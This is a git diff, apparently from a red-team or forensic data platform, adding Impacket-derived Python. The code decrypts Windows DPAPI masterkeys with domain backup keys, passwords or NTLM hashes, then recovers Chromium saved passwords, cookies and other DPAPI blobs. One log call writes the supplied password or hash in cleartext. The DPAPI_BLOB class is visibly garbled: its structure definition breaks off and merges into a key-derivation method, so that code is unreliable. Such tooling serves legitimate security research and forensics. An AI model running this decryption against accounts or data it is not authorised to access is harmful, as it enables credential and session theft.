specific domain backup key GUID + domain_backupkey_bytes = await self.db.get_dpapi_domain_backupkey(domain_backupkey_guid) + + if domain_backupkey_bytes: + # adapted from Impacket: https://github.com/fortra/impacket/blob/8799a1a2c42ad74423841d21ed5f4193ea54f3d5/examples/dpapi.py#L214-L224 + # Apache License Version 1.1 + key = PRIVATE_KEY_BLOB(domain_backupkey_bytes[len(PVK_FILE_HDR()) :]) + private = privatekeyblob_to_pkcs1(key) + cipher = PKCS1_v1_5.new(private) + decrypted_key = cipher.decrypt(masterkey_secret_bytes[::-1], None) + + if decrypted_key: + domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(decrypted_key) + full_key = domain_master_key["buffer"][: domain_master_key["cbMasterKey"]] + sha1_key = SHA1.new(full_key).digest() + + # # For string representations: + # full_key = hexlify(key).decode('latin-1') + # sha1_key = hexlify(SHA1.new(key).digest()).decode('latin-1') + + return (sha1_key, full_key) + else: + await logger.aerror("Failed to decrypt DPAPI masterkey with domain backupkey", domain_backupkey_guid=domain_backupkey_guid) + else: + return None + + async def decrypt_existing_dpapi_masterkeys_with_user_key(self, username: str, key_type: str, key: str) -> None: + """ + Given a username and password/NTLM hash, query the DB for any + masterkeys for that username and attempt to decrypt the masterkey + with the plaintext or hash. + + key_type -> "password" or "ntlm_hash" + + This is "retroactive" masterkey decryption with a password/hash. + """ + + await logger.adebug("Decrypt masterkeys protected a password/NTLM hash", username=username, key_type=key_type, key=key) + + encrypted_masterkeys = await self.db.get_encrypted_dpapi_masterkeys_from_username(username) + + if not encrypted_masterkeys: + await logger.ainfo("No masterkeys found in the DB matching the username", username=username) + return + else: + await logger.ainfo( + "Found masterkeys in the DB matching the username", + username=username, + count=len(encrypted_masterkeys), + ) + + # await self.decrypt_dpapi_masterkey() + decrypted_masterkeys = 0 + for masterkey in encrypted_masterkeys: + masterkey_guid = masterkey[0] + user_sid = masterkey[1] + masterkey_bytes = masterkey[2] + + if key_type == "password": + results = await self.decrypt_dpapi_masterkey(masterkey_bytes, user_sid, [key], []) + else: + results = await self.decrypt_dpapi_masterkey(masterkey_bytes, user_sid, [], [key]) + + if results: + decrypted_masterkeys += 1 + decrypted_key_full = results[0] + decrypted_key_sha1 = results[1] + + # update the masterkey in the DB with the decrypted values + await self.db.update_decrypted_dpapi_masterkey(masterkey_guid, decrypted_key_sha1, decrypted_key_full) + + # decrypt existing DPAPI blobs + await self.decrypt_existing_dpapi_blobs(masterkey_guid) + + # decrypt existing Chromium data + await self.decrypt_existing_chromium_data(masterkey_guid) + + await logger.adebug( + "Decrypted any existing blobs protected by the newly decrypted GUID master key", masterkey_guid=masterkey_guid + ) + else: + await logger.aerror( + "Failed to decrypt DPAPI masterkey supplied password/NTLM hash", + masterkey_guid=masterkey_guid, + key_type=key_type, + key=key, + ) + + async def decrypt_existing_dpapi_masterkeys_with_domain_key(self, domain_backupkey_guid: str) -> None: + """ + Given a domain_backupkey_guid, query the DB for any linked encrypted + masterkeys, decrypting the keys and updating the encrypted value if + decryption is successful. + + This is "retroactive" masterkey decryption with a domain key. + """ + await logger.adebug("Decrypt masterkeys protected by the GUID domain backupkey", domain_backupkey_guid=domain_backupkey_guid) + + # query the DB for the bytes for this specific domain backup key GUID + domain_backupkey_bytes = await self.db.get_dpapi_domain_backupkey(domain_backupkey_guid) + + if not domain_backupkey_bytes: + await logger.ainfo("No domain backupkey found in the DB", domain_backupkey_guid=domain_backupkey_guid) + return + + # query the DB for any masterkeys protected by this domain backupkey + encrypted_masterkeys = await self.db.get_encrypted_dpapi_masterkeys_from_backup_guid(domain_backupkey_guid) + if not encrypted_masterkeys: + await logger.ainfo("No masterkeys found in the DB matching the domain backup key", domain_backupkey_guid=domain_backupkey_guid) + return + else: + await logger.ainfo( + "Found masterkeys in the DB matching the domain backup key", + domain_backupkey_guid=domain_backupkey_guid, + count=len(encrypted_masterkeys), + ) + + decrypted_masterkeys = 0 + for masterkey in encrypted_masterkeys: + masterkey_guid = masterkey[0] + domainkey_pb_secret = masterkey[1] + + results = await self.decrypt_dpapi_domain_masterkey(domainkey_pb_secret, domain_backupkey_bytes=domain_backupkey_bytes) + + if results: + decrypted_masterkeys += 1 + decrypted_key_sha1 = results[0] + decrypted_key_full = results[1] + + # update the masterkey in the DB with the decrypted values + await self.db.update_decrypted_dpapi_masterkey(masterkey_guid, decrypted_key_sha1, decrypted_key_full) + + # decrypt existing DPAPI blobs + await self.decrypt_existing_dpapi_blobs(masterkey_guid) + + # decrypt existing Chromium data + await self.decrypt_existing_chromium_data(masterkey_guid) + + await logger.adebug( + "Decrypted any existing blobs protected by the newly decrypted GUID master key", masterkey_guid=masterkey_guid + ) + else: + await logger.aerror( + "Failed to decrypt DPAPI masterkey with domain backupkey", + masterkey_guid=masterkey_guid, + domain_backupkey_guid=domain_backupkey_guid, + ) + + async def decrypt_existing_dpapi_blobs(self, masterkey_guid: str): + """ + Given a masterkey_guid, query the DB for any linked encrypted + blobs, decrypting the blobs and updating the encrypted value if + decryption is successful. + + This is "retroactive" decryption for DPAPI blobs. + """ + + # get the decrypted masterkey bytes for the masterkey GUID + masterkey_keys = await self.db.get_decrypted_dpapi_masterkey(masterkey_guid) + + if masterkey_keys: + (masterkey_sha1, masterkey_full) = masterkey_keys + masterkey_bytes = masterkey_sha1 if masterkey_sha1 else masterkey_full + + for blob in await self.db.get_encrypted_dpapi_blobs(masterkey_guid): + dpapi_blob_id = blob[0] + is_file = blob[1] + enc_data_bytes = blob[2] + enc_data_object_id = blob[3] + + if is_file: + # if this blob is over 1024 bytes, it's uploaded to S3 + with await self.storage.download(enc_data_object_id) as temp_file: + # download the file and try to decrypt these bytes + with open(temp_file.name, "rb") as f: + enc_data_bytes = f.read() + + # try to decrypt this blob if there's a linked key + dec_data = DPAPI_BLOB(enc_data_bytes).decrypt(masterkey_bytes) + + if not dec_data: + raise RuntimeError("Failed to decrypt DPAPI blob despite having a plaintext masterkey") + + await logger.adebug("Decrypted DPAPI blob with masterkey", dpapi_blob_id=dpapi_blob_id, masterkey_guid=masterkey_guid) + if is_file: + # if the original enc_bytes were stored as a S3 file, store the decypted bytes in S3 as well + async with TempFile(self.data_download_dir) as temp_file_dec: + with open(temp_file_dec.path, "wb") as f: + f.write(dec_data) + + decrypted_file_uuid = await self.storage.upload(temp_file_dec.path) + await self.db.update_decrypted_dpapi_blob(dpapi_blob_id, None, decrypted_file_uuid) + else: + await self.db.update_decrypted_dpapi_blob(dpapi_blob_id, dec_data, None) + else: + await logger.adebug("No decrypted masterkeys found for masterkey GUID", masterkey_guid=masterkey_guid) + + async def decrypt_existing_chromium_data(self, masterkey_guid): + """ + Given a masterkey_guid, query the DB for any linked encrypted + Chromium data, decrypting the data and updating the associated + values if decryption is successful. + + This is "retroactive" decryption for Chromium DPAPI data. + + Chromium data processed: logins, cookies, state files + """ + + # get the decrypted masterkey bytes for the masterkey GUID + masterkey_keys = await self.db.get_decrypted_dpapi_masterkey(masterkey_guid) + + if masterkey_keys: + (masterkey_sha1, masterkey_full) = masterkey_keys + masterkey_bytes = masterkey_sha1 if masterkey_sha1 else masterkey_full + + # first check for Chromium state keys protected by this masterkey + for state_file in await self.db.get_encrypted_chromium_state_key(masterkey_guid): + (source, user_data_directory, unique_db_id, key_bytes_enc, app_bound_fixed_data_enc) = state_file + + # try to decrypt this state key if there's a linked key + key_bytes_dec = DPAPI_BLOB(key_bytes_enc).decrypt(masterkey_bytes) + app_bound_fixed_data_dec = None + + # try: + # # TODO: this isn't working properly, something with padding on decryption + # app_bound_fixed_data_blob = await helpers.parse_dpapi_blob(app_bound_fixed_data_enc) + # blob = DPAPI_BLOB(app_bound_fixed_data_blob.dpapi_data) + # app_bound_fixed_data_dec = blob.decrypt(masterkey_bytes) + # except Exception as e: + # await logger.adebug( + # "Error decypting app_bound_fixed_data value", + # exception=f"{e}", + # unique_db_id=unique_db_id, + # masterkey_guid=masterkey_guid, + # ) + + if not key_bytes_dec: + raise RuntimeError("Failed to decrypt Chromium state encryption key despite having a plaintext masterkey") + + await logger.adebug("Decrypted Chromium state key with masterkey", unique_db_id=unique_db_id, masterkey_guid=masterkey_guid) + await self.db.update_decrypted_chromium_state_key(unique_db_id, key_bytes_dec, app_bound_fixed_data_dec) + + # NOW we have to retroactively decrypt any cookies/logins that use this AES key + decrypted_logins_count = 0 + for login in await self.db.get_aes_encrypted_chromium_logins(source, user_data_directory): + unique_db_id = login[0] + password_value_enc = login[1] + plaintext = await self.decrypt_chromium_aes_entry(key_bytes_dec, password_value_enc) + if plaintext: + decrypted_logins_count += 1 + await self.db.update_decrypted_chromium_login(unique_db_id, plaintext) + + if decrypted_logins_count > 0: + await logger.adebug( + "Decrypted existing Chromium logins with newly Chromium state key", decrypted_logins_count=decrypted_logins_count + ) + + decrypted_cookies_count = 0 + for cookie in await self.db.get_aes_encrypted_chromium_cookies(source, user_data_directory): + unique_db_id = cookie[0] + value_dec = cookie[1] + try: + plaintext = await self.decrypt_chromium_aes_entry(key_bytes_dec, value_dec) + if plaintext: + decrypted_cookies_count += 1 + await self.db.update_decrypted_chromium_cookie(unique_db_id, plaintext) + except Exception as e: + await logger.aerror( + "Error AES decrypting cookie value", + exception=e, + unique_db_id=unique_db_id, + source=source, + user_data_directory=user_data_directory, + ) + + if decrypted_cookies_count > 0: + await logger.adebug( + "Decrypted existing Chromium cookies with newly Chromium state key", decrypted_cookies_count=decrypted_cookies_count + ) + + # then try for any DPAPI protected Logins + for login in await self.db.get_dpapi_encrypted_chromium_logins(masterkey_guid): + unique_db_id = login[0] + password_value_enc = login[1] + + # try to decrypt this login value if there's a linked key + password_value_dec = DPAPI_BLOB(password_value_enc).decrypt(masterkey_bytes) + + if not password_value_dec: + raise RuntimeError("Failed to decrypt Chromium login despite having a plaintext masterkey") + + password_value_dec = password_value_dec.decode("UTF-8") + + await logger.adebug("Decrypted Chromium login with masterkey", unique_db_id=unique_db_id, masterkey_guid=masterkey_guid) + await self.db.update_decrypted_chromium_login(unique_db_id, password_value_dec) + + # finally check for any DPAPI protected Cookies + for cookie in await self.db.get_dpapi_encrypted_chromium_cookies(masterkey_guid): + unique_db_id = cookie[0] + password_value_enc = cookie[1] + + # try to decrypt this login value if there's a linked key + value_dec = DPAPI_BLOB(password_value_enc).decrypt(masterkey_bytes) + + if not value_dec: + raise RuntimeError("Failed to decrypt Chromium cookie despite having a plaintext masterkey") + + value_dec = value_dec.decode("UTF-8") + + await logger.adebug("Decrypted Chromium cookie with masterkey", unique_db_id=unique_db_id, masterkey_guid=masterkey_guid) + await self.db.update_decrypted_chromium_cookie(unique_db_id, value_dec) + + async def derive_keys_from_user(self, sid, password): + """ + Given a user SID and password, derive the DPAPI masterkey keys needed. + + TODO: not yet used + + From https://github.com/SecureAuthCorp/impacket/blob/7a18ef5c8b06aac5e36334927789429777382928/examples/dpapi.py#L94 + Apache License Version 1.1 + """ + # Will generate two keys, one with SHA1 and another with MD4 + key1 = HMAC.new(SHA1.new(password.encode("utf-16le")).digest(), (sid + "\0").encode("utf-16le"), SHA1).digest() + key2 = HMAC.new(MD4.new(password.encode("utf-16le")).digest(), (sid + "\0").encode("utf-16le"), SHA1).digest() + # For Protected users + # TODO!! + tmpKey = pbkdf2_hmac("sha256", MD4.new(password.encode("utf-16le")).digest(), sid.encode("utf-16le"), 10000) + tmpKey2 = pbkdf2_hmac("sha256", tmpKey, sid.encode("utf-16le"), 1)[:16] + key3 = HMAC.new(tmpKey2, (sid + "\0").encode("utf-16le"), SHA1).digest()[:20] + return key1, key2, key3 + + async def derive_keys_from_user_key(self, sid, pwdhash): + """ + Given a user SID and NTLM hash, derive the DPAPI masterkey keys needed. + + TODO: not yet used + + From https://github.com/SecureAuthCorp/impacket/blob/7a18ef5c8b06aac5e36334927789429777382928/examples/dpapi.py#L105 + Apache License Version 1.1 + """ + pwdhash = bytes.fromhex(pwdhash) + if len(pwdhash) == 20: + # SHA1 + key1 = HMAC.new(pwdhash, (sid + "\0").encode("utf-16le"), SHA1).digest() + key2 = None + else: + # Assume MD4 + key1 = HMAC.new(pwdhash, (sid + "\0").encode("utf-16le"), SHA1).digest() + # For Protected users + tmpKey = pbkdf2_hmac("sha256", pwdhash, sid.encode("utf-16le"), 10000) + tmpKey2 = pbkdf2_hmac("sha256", tmpKey, sid.encode("utf-16le"), 1)[:16] + key2 = HMAC.new(tmpKey2, (sid + "\0").encode("utf-16le"), SHA1).digest()[:20] + return key1, key2 diff --git a/cmd/enrichment/enrichment/tasks/dpapi/dpapi_blob.py b/cmd/enrichment/enrichment/tasks/dpapi/dpapi_blob.py new file mode 100644 index 0000000..a29c84c --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/dpapi/dpapi_blob.py @@ -0,0 +1,336 @@ +# Adapted from https://github.com/fortra/impacket/blob/8799a1a2c42ad74423841d21ed5f4193ea54f3d5/examples/dpapi.py +# Apache License Version 1.1 +# Just contains DPAPI_BLOB +# Modifications by @harmj0y: tweaked to allow SHA1 or full keys + +# Impacket - Collection of Python classes for working with network protocols. +# +# Copyright (C) 2022 Fortra. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# DPAPI and Windows Vault parsing structures and manipulation +# +# Author: +# Alberto Solino (@agsolino) +# +# References: +# All of the work done by these guys. I just adapted their work to my needs. +# - https://www.passcape.com/index.php?section=docsys&cmd=details&id=28 +# - https://github.com/jordanbtucker/dpapick +# - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials (and everything else Ben did) +# - http://blog.digital-forensics.it/2016/01/windows-revaulting.html +# - https://www.passcape.com/windows_password_recovery_vault_explorer +# - https://www.passcape.com/windows_password_recovery_dpapi_master_key +# + +# Standard Libraries +from binascii import hexlify, unhexlify +from datetime import datetime +from struct import pack, unpack + +# 3rd Party Libraries +from Cryptodome.Cipher import AES, DES3 +from Cryptodome.Hash import HMAC, SHA1, SHA512 +from Cryptodome.PublicKey import RSA +from Cryptodome.Util.Padding import unpad +from impacket.dcerpc.v5.enum import Enum +from impacket.structure import Structure +from impacket.uuid import bin_to_string + +# Algorithm classes +ALG_CLASS_ANY = 0 +ALG_CLASS_SIGNATURE = 1 << 13 +ALG_CLASS_MSG_ENCRYPT = 2 << 13 +ALG_CLASS_DATA_ENCRYPT = 3 << 13 +ALG_CLASS_HASH = 4 << 13 +ALG_CLASS_KEY_EXCHANGE = 5 << 13 +ALG_CLASS_ALL = 7 << 13 + +# Algorithm types +ALG_TYPE_ANY = 0 +ALG_TYPE_DSS = 1 << 9 +ALG_TYPE_RSA = 2 << 9 +ALG_TYPE_BLOCK = 3 << 9 +ALG_TYPE_STREAM = 4 << 9 +ALG_TYPE_DH = 5 << 9 +ALG_TYPE_SECURECHANNEL = 6 << 9 +ALG_SID_ANY = 0 +ALG_SID_RSA_ANY = 0 +ALG_SID_RSA_PKCS = 1 +ALG_SID_RSA_MSATWORK = 2 +ALG_SID_RSA_ENTRUST = 3 +ALG_SID_RSA_PGP = 4 +ALG_SID_DSS_ANY = 0 +ALG_SID_DSS_PKCS = 1 +ALG_SID_DSS_DMS = 2 +ALG_SID_ECDSA = 3 + +# Block cipher sub ids +ALG_SID_DES = 1 +ALG_SID_3DES = 3 +ALG_SID_DESX = 4 +ALG_SID_IDEA = 5 +ALG_SID_CAST = 6 +ALG_SID_SAFERSK64 = 7 +ALG_SID_SAFERSK128 = 8 +ALG_SID_3DES_112 = 9 +ALG_SID_CYLINK_MEK = 12 +ALG_SID_RC5 = 13 +ALG_SID_AES_128 = 14 +ALG_SID_AES_192 = 15 +ALG_SID_AES_256 = 16 +ALG_SID_AES = 17 +ALG_SID_SKIPJACK = 10 +ALG_SID_TEK = 11 + +CRYPT_MODE_CBCI = 6 # ANSI CBC Interleaved +CRYPT_MODE_CFBP = 7 # ANSI CFB Pipelined +CRYPT_MODE_OFBP = 8 # ANSI OFB Pipelined +CRYPT_MODE_CBCOFM = 9 # ANSI CBC + OF Masking +CRYPT_MODE_CBCOFMI = 10 # ANSI CBC + OFM Interleaved + +ALG_SID_RC2 = 2 +ALG_SID_RC4 = 1 +ALG_SID_SEAL = 2 + +# Diffie - Hellman sub - ids +ALG_SID_DH_SANDF = 1 +ALG_SID_DH_EPHEM = 2 +ALG_SID_AGREED_KEY_ANY = 3 +ALG_SID_KEA = 4 +ALG_SID_ECDH = 5 + +# Hash sub ids +ALG_SID_MD2 = 1 +ALG_SID_MD4 = 2 +ALG_SID_MD5 = 3 +ALG_SID_SHA = 4 +ALG_SID_SHA1 = 4 +ALG_SID_MAC = 5 +ALG_SID_RIPEMD = 6 +ALG_SID_RIPEMD160 = 7 +ALG_SID_SSL3SHAMD5 = 8 +ALG_SID_HMAC = 9 +ALG_SID_TLS1PRF = 10 +ALG_SID_HASH_REPLACE_OWF = 11 +ALG_SID_SHA_256 = 12 +ALG_SID_SHA_384 = 13 +ALG_SID_SHA_512 = 14 + +# secure channel sub ids +ALG_SID_SSL3_MASTER = 1 +ALG_SID_SCHANNEL_MASTER_HASH = 2 +ALG_SID_SCHANNEL_MAC_KEY = 3 +ALG_SID_PCT1_MASTER = 4 +ALG_SID_SSL2_MASTER = 5 +ALG_SID_TLS1_MASTER = 6 +ALG_SID_SCHANNEL_ENC_KEY = 7 +ALG_SID_ECMQV = 1 + + +def getFlags(myenum, flags): + return "|".join([name for name, member in myenum.__members__.items() if member.value & flags]) + + +class FLAGS(Enum): + CRYPTPROTECT_UI_FORBIDDEN = 0x1 + CRYPTPROTECT_LOCAL_MACHINE = 0x4 + CRYPTPROTECT_CRED_SYNC = 0x8 + CRYPTPROTECT_AUDIT = 0x10 + CRYPTPROTECT_VERIFY_PROTECTION = 0x40 + CRYPTPROTECT_CRED_REGENERATE = 0x80 + CRYPTPROTECT_SYSTEM = 0x20000000 + + +# algorithm identifier definitions +class ALGORITHMS(Enum): + CALG_MD2 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD2 + CALG_MD4 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD4 + CALG_MD5 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD5 + CALG_SHA = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA + CALG_SHA1 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA1 + CALG_RSA_SIGN = ALG_CLASS_SIGNATURE | ALG_TYPE_RSA | ALG_SID_RSA_ANY + CALG_DSS_SIGN = ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_DSS_ANY + CALG_NO_SIGN = ALG_CLASS_SIGNATURE | ALG_TYPE_ANY | ALG_SID_ANY + CALG_RSA_KEYX = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_RSA | ALG_SID_RSA_ANY + CALG_DES = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_DES + CALG_3DES_112 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_3DES_112 + CALG_3DES = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_3DES + CALG_DESX = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_DESX + CALG_RC2 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_RC2 + CALG_RC4 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_STREAM | ALG_SID_RC4 + CALG_SEAL = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_STREAM | ALG_SID_SEAL + CALG_DH_SF = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_DH_SANDF + CALG_DH_EPHEM = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_DH_EPHEM + CALG_AGREEDKEY_ANY = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_AGREED_KEY_ANY + CALG_KEA_KEYX = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_KEA + CALG_HUGHES_MD5 = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ANY | ALG_SID_MD5 + CALG_SKIPJACK = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_SKIPJACK + CALG_TEK = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_TEK + CALG_SSL3_SHAMD5 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SSL3SHAMD5 + CALG_SSL3_MASTER = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SSL3_MASTER + CALG_SCHANNEL_MASTER_HASH = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SCHANNEL_MASTER_HASH + CALG_SCHANNEL_MAC_KEY = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SCHANNEL_MAC_KEY + CALG_SCHANNEL_ENC_KEY = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SCHANNEL_ENC_KEY + CALG_PCT1_MASTER = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_PCT1_MASTER + CALG_SSL2_MASTER = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SSL2_MASTER + CALG_TLS1_MASTER = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_TLS1_MASTER + CALG_RC5 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_RC5 + CALG_HMAC = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HMAC + CALG_TLS1PRF = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_TLS1PRF + CALG_HASH_REPLACE_OWF = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HASH_REPLACE_OWF + CALG_AES_128 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_AES_128 + CALG_AES_192 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_AES_192 + CALG_AES_256 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_AES_256 + CALG_AES = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_AES + CALG_SHA_256 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_256 + CALG_SHA_384 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_384 + CALG_SHA_512 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_512 + CALG_ECDH = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_ECDH + CALG_ECMQV = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ANY | ALG_SID_ECMQV + CALG_ECDSA = ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_ECDSA + + +ALGORITHMS_DATA = { + # Algorithm: key/SaltLen, CryptHashModule, Mode, IVLen, BlockSize + ALGORITHMS.CALG_SHA.value: (160 // 8, SHA1, None, None, 512 // 8), + ALGORITHMS.CALG_HMAC.value: (160 // 8, SHA512, None, None, 512 // 8), + ALGORITHMS.CALG_3DES.value: (192 // 8, DES3, DES3.MODE_CBC, 64 // 8), + ALGORITHMS.CALG_SHA_512.value: (128 // 8, SHA512, None, None, 1024 // 8), + ALGORITHMS.CALG_AES_256.value: (256 // 8, AES, AES.MODE_CBC, 128 // 8), +} + + +class DPAPI_BLOB(Structure): + structure = ( + ("Version", " ALGORITHMS_DATA[self["HashAlgo"]][4]: + derivedKey = HMAC.new(sessionKey, digestmod=ALGORITHMS_DATA[self["HashAlgo"]][1]).digest() + else: + derivedKey = sessionKey + + if len(derivedKey) < ALGORITHMS_DATA[self["CryptAlgo"]][0]: + # Extend the key + derivedKey += b"\x00" * ALGORITHMS_DATA[self["HashAlgo"]][4] + ipad = bytearray([i ^ 0x36 for i in bytearray(derivedKey)][: ALGORITHMS_DATA[self["HashAlgo"]][4]]) + opad = bytearray([i ^ 0x5C for i in bytearray(derivedKey)][: ALGORITHMS_DATA[self["HashAlgo"]][4]]) + derivedKey = ALGORITHMS_DATA[self["HashAlgo"]][1].new(ipad).digest() + ALGORITHMS_DATA[self["HashAlgo"]][1].new(opad).digest() + derivedKey = fixparity(derivedKey) + + return derivedKey + + def decrypt(self, key, entropy=None): + if len(key) == 64: + # full key passed, so calculate the SHA1 of it + keyHash = SHA1.new(key).digest() + elif len(key) == 20: + # SHA1 passed, so just use that + keyHash = key + else: + return None + + sessionKey = HMAC.new(keyHash, self["Salt"], ALGORITHMS_DATA[self["HashAlgo"]][1]) + if entropy is not None: + sessionKey.update(entropy) + + sessionKey = sessionKey.digest() + + # Derive the key + derivedKey = self.deriveKey(sessionKey) + + cipher = ALGORITHMS_DATA[self["CryptAlgo"]][1].new(derivedKey[: ALGORITHMS_DATA[self["CryptAlgo"]][0]], mode=ALGORITHMS_DATA[self["CryptAlgo"]][2], iv=b"\x00" * ALGORITHMS_DATA[self["CryptAlgo"]][3]) + cleartext = unpad(cipher.decrypt(self["Data"]), ALGORITHMS_DATA[self["CryptAlgo"]][1].block_size) + + # Now check the signature + + # ToDo Fix this, it's just ugly, more testing so we can remove one + toSign = self.rawData[20:][: len(self.rawData) - 20 - len(self["Sign"]) - 4] + + # Calculate the different HMACKeys + keyHash2 = keyHash + b"\x00" * ALGORITHMS_DATA[self["HashAlgo"]][1].block_size + ipad = bytearray([i ^ 0x36 for i in bytearray(keyHash2)][: ALGORITHMS_DATA[self["HashAlgo"]][1].block_size]) + opad = bytearray([i ^ 0x5C for i in bytearray(keyHash2)][: ALGORITHMS_DATA[self["HashAlgo"]][1].block_size]) + a = ALGORITHMS_DATA[self["HashAlgo"]][1].new(ipad) + a.update(self["HMac"]) + + hmacCalculated1 = ALGORITHMS_DATA[self["HashAlgo"]][1].new(opad) + hmacCalculated1.update(a.digest()) + + if entropy is not None: + hmacCalculated1.update(entropy) + + hmacCalculated1.update(toSign) + + hmacCalculated3 = HMAC.new(keyHash, self["HMac"], ALGORITHMS_DATA[self["HashAlgo"]][1]) + if entropy is not None: + hmacCalculated3.update(entropy) + + hmacCalculated3.update(toSign) + + if hmacCalculated1.digest() == self["Sign"] or hmacCalculated3.digest() == self["Sign"]: + return cleartext + else: + return None diff --git a/cmd/enrichment/enrichment/tasks/dpapi/masterkey.py b/cmd/enrichment/enrichment/tasks/dpapi/masterkey.py new file mode 100644 index 0000000..4ab8e84 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/dpapi/masterkey.py @@ -0,0 +1,237 @@ +# Adapted from https://github.com/fortra/impacket/blob/8799a1a2c42ad74423841d21ed5f4193ea54f3d5/examples/dpapi.py +# Apache License Version 1.1 +# Modifications by @harmj0y: tweaked to use fastpbkdf2 for faster key derivation + +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# DPAPI and Windows Vault parsing structures and manipulation +# +# Author: +# Alberto Solino (@agsolino) +# +# References: +# All of the work done by these guys. I just adapted their work to my needs. +# - https://www.passcape.com/index.php?section=docsys&cmd=details&id=28 +# - https://github.com/jordanbtucker/dpapick +# - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials (and everything else Ben did) +# - http://blog.digital-forensics.it/2016/01/windows-revaulting.html +# - https://www.passcape.com/windows_password_recovery_vault_explorer +# - https://www.passcape.com/windows_password_recovery_dpapi_master_key +# + +from __future__ import division, print_function + +# 3rd Party Libraries +from Cryptodome.Cipher import AES, DES3 +from Cryptodome.Hash import HMAC, SHA1, SHA512 +from impacket.dcerpc.v5.enum import Enum +from impacket.structure import Structure +from msfastpbkdf2 import pbkdf2_hmac + +# Algorithm classes +ALG_CLASS_ANY = 0 +ALG_CLASS_SIGNATURE = 1 << 13 +ALG_CLASS_MSG_ENCRYPT = 2 << 13 +ALG_CLASS_DATA_ENCRYPT = 3 << 13 +ALG_CLASS_HASH = 4 << 13 +ALG_CLASS_KEY_EXCHANGE = 5 << 13 +ALG_CLASS_ALL = 7 << 13 + +# Algorithm types +ALG_TYPE_ANY = 0 +ALG_TYPE_DSS = 1 << 9 +ALG_TYPE_RSA = 2 << 9 +ALG_TYPE_BLOCK = 3 << 9 +ALG_TYPE_STREAM = 4 << 9 +ALG_TYPE_DH = 5 << 9 +ALG_TYPE_SECURECHANNEL = 6 << 9 +ALG_SID_ANY = 0 +ALG_SID_RSA_ANY = 0 +ALG_SID_RSA_PKCS = 1 +ALG_SID_RSA_MSATWORK = 2 +ALG_SID_RSA_ENTRUST = 3 +ALG_SID_RSA_PGP = 4 +ALG_SID_DSS_ANY = 0 +ALG_SID_DSS_PKCS = 1 +ALG_SID_DSS_DMS = 2 +ALG_SID_ECDSA = 3 + +# Block cipher sub ids +ALG_SID_DES = 1 +ALG_SID_3DES = 3 +ALG_SID_DESX = 4 +ALG_SID_IDEA = 5 +ALG_SID_CAST = 6 +ALG_SID_SAFERSK64 = 7 +ALG_SID_SAFERSK128 = 8 +ALG_SID_3DES_112 = 9 +ALG_SID_CYLINK_MEK = 12 +ALG_SID_RC5 = 13 +ALG_SID_AES_128 = 14 +ALG_SID_AES_192 = 15 +ALG_SID_AES_256 = 16 +ALG_SID_AES = 17 +ALG_SID_SKIPJACK = 10 